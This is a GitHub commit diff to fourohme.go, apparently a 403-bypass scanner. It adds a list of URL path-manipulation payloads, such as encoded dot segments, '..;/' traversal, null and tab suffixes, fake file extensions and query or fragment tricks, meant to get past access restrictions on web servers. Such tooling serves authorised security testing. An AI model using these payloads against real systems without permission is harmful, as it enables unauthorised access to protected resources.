Skip to content

Commit b4f990f

Browse files
committed
Adds additional path manipulation options
Borrowed from https://github.com/yunemse48/403bypasser
1 parent 4ce209e commit b4f990f

File tree

1 file changed

+19
-0
lines changed

1 file changed

+19
-0
lines changed

fourohme.go

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -507,6 +507,25 @@ func main() {
507507
urlList = append(urlList, fmt.Sprintf("%s/.;%s", sUrl, sPath))
508508
urlList = append(urlList, fmt.Sprintf("%s//;/%s", sUrl, sPath))
509509
urlList = append(urlList, fmt.Sprintf("%s%s", sUrl, strings.ToUpper(sPath)))
510+
urlList = append(urlList, fmt.Sprintf("%s/%2e/%s", sUrl, sPath))
511+
urlList = append(urlList, fmt.Sprintf("%s/%s", sUrl, sPath))
512+
urlList = append(urlList, fmt.Sprintf("%s/%s..;/", sUrl, sPath))
513+
urlList = append(urlList, fmt.Sprintf("%s/%s/..;/", sUrl, sPath))
514+
urlList = append(urlList, fmt.Sprintf("%s/%s%20", sUrl, sPath))
515+
urlList = append(urlList, fmt.Sprintf("%s/%s%09", sUrl, sPath))
516+
urlList = append(urlList, fmt.Sprintf("%s/%s%00", sUrl, sPath))
517+
urlList = append(urlList, fmt.Sprintf("%s/%s.json", sUrl, sPath))
518+
urlList = append(urlList, fmt.Sprintf("%s/%s.css", sUrl, sPath))
519+
urlList = append(urlList, fmt.Sprintf("%s/%s.html", sUrl, sPath))
520+
urlList = append(urlList, fmt.Sprintf("%s/%s?", sUrl, sPath))
521+
urlList = append(urlList, fmt.Sprintf("%s/%s??", sUrl, sPath))
522+
urlList = append(urlList, fmt.Sprintf("%s/%s???", sUrl, sPath))
523+
urlList = append(urlList, fmt.Sprintf("%s/%s?testparam=fourohme", sUrl, sPath))
524+
urlList = append(urlList, fmt.Sprintf("%s/%s#", sUrl, sPath))
525+
urlList = append(urlList, fmt.Sprintf("%s/%s#test", sUrl, sPath))
526+
urlList = append(urlList, fmt.Sprintf("%s/%s/.", sUrl, sPath))
527+
urlList = append(urlList, fmt.Sprintf("%s//%s//", sUrl, sPath))
528+
urlList = append(urlList, fmt.Sprintf("%s/./%s/./", sUrl, sPath))
510529

511530
for _, url := range urlList {
512531
wg.Add(1)

0 commit comments

Comments
 (0)